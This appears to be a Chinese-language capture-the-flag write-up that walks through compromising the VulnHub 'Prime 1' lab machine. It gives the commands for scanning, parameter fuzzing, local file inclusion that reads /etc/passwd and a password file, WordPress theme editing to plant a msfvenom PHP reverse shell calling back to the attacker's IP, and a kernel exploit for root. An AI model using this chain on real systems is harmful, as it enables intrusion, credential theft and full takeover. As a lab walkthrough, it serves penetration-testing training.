环境搭建
官网https://www.vulnhub.com/entry/prime-1,358/
直接导入靶机
解题思路
arp-scan -l
确认靶机ip为192.168.236.136
也可以使用nmap扫网段
nmap -sn 192.168.236.0/24
使用nmap扫描靶机开放的端口
nmap -sS -T5 --min-rate 10000 192.168.236.136 -sC -p- (速度较快,内容少)我习惯性这个
nmap -A -sV -T4 -p- 192.168.236.136 内容较多,速度慢
开放了22和80端口
访问80端口,查看源码也没有任何信息
使用dirb扫描目录
当然还可以使用御剑,dirsearch等
dirb http://192.168.236.136/
访问一下http://192.168.236.136/dev和http://192.168.236.136/wordpress
访问wordpress
尝试过滤扫描dirb http://192.168.236.136 -X .txt,.php,zip
尝试访问这三个文件:index.php,image.php,secret.txt
提示说要找到location.txt才能进行下一步
使用wfuzz工具爆破传参数
wfuzz -w /usr/share/wfuzz/wordlist/general/common.txt http://192.168.236.136/index.php?FUZZ
发现长度宽度都一样
使用wfuzz过滤出不同的值
wfuzz -w /usr/share/wfuzz/wordlist/general/common.txt --hw 12 http://192.168.236.136/index.php?FUZZ
直接访问/index.php?file=location.txt
curl http://192.168.236.136/index.php?file=location.txt
提示显示:secrettier360是正确的参数,file只是过渡而已
尝试curl http://192.168.236.136/index.php?secrettier360=aaa
curl http://192.168.236.136/image.php?secrettier360=aaa试试
提示说找到了正确的参数
使用curl http://192.168.236.136/image.php?secrettier360=/etc/passwd读取敏感文件
后面提示说找password.txt,并且在/home/saket里面
刚才只扫到一个index.php和一个image.php所以这里只能利用image.php
使用curl http://192.168.236.136/image.php?secrettier360=/home/saket/password.txt
给了一串特殊字符follow_the_ippsec猜测是密码
尝试ssh登录:ssh -p 22 victor@192.168.236.136
ssh登录失败,尝试其他登录方式
使用前面扫描出来的wordpress登录试试
使用cmseek搜集web指纹信息
cmseek -u http://192.168.236.136/wordpress/
或者使用wpscan扫描wordpress
wpscan --url http://192.168.236.136/wordpress/ --enumerate u
显示只有一个用户victor
登录wordpress
登录成功
找后门上传点
利用msfMsfvenom命令总结大全中已有payload(php/meterpreter/reverse_tcp)生成shell.php。打开shell.php文件,将内容复制到secret.php中。
msfvenom -p php/meterpreter/reverse_tcp lhost=192.168.236.128 lport=7777 -o shell.php
-p选择相应payload
lhost=本地IP
lport=监听端口
-o 指定输出文件的位置
将secret.php文件上传成功后,使用msf见天模块(exploit/multi/handler),设置lhost和lport和payload(php/meterpreter/reverse_tcp),开启监听后,浏览器打开secret.php页面。
要和生成的payload对应一致
使用msfconsole
使用监听模块 use exploit/multi/handler
跟之前生成payload的对应 set payload php/meterpreter/reverse_tcp
设置自己ip set lhost 192.168.236.128
设置端口 set lport 7777
开始监听 run和exploit都可以
让网站触发这个php反弹shell
访问这个文件
wordpress文件都在这个路径下
http://192.168.236.136/wordpress/wp-content/themes/twentynineteen/secret.php
打开msfconsole查看漏洞数据库
使用searchsploit 16.04 Ubuntu查找
发现只有这个符合,并且给了提权脚本
在msf数据漏洞库下载45010.c的提权脚本
msf脚本数据库路径/usr/share/exploitdb/exploits/linux/local
将脚本copy下来,使用gcc编译
上传45010
upload /root/45010(本机文件) /tmp/45010(靶机root目录)
发现版本报错glibc的版本不对(glibc是linux系统中最底层的api,几乎其它任何运行库都会依赖于glibc)
两个方法,要么kali下载对应版本(主要是我kali刚刚更新) ,要么升级Ubuntu的glibc版本(本来就是渗透进去的)
我选择第三种方法,找一个以前版本的kali 2021,就可以解决了。
查看root下的root.txt文件得到flag
知识点:
1、扫描局域网内的网段主机
2、扫描端口获得运行的服务
3、扫描目录获得关键信息
4、本地文件包含漏洞LF刊
5、fuzz获得正确的参数
6、wordpress漏洞利用
7、msfvenom:生成反弹shell
8、Ubuntu内核漏洞提权
内网渗透思路框架图_内网渗透路线图-CSDN博客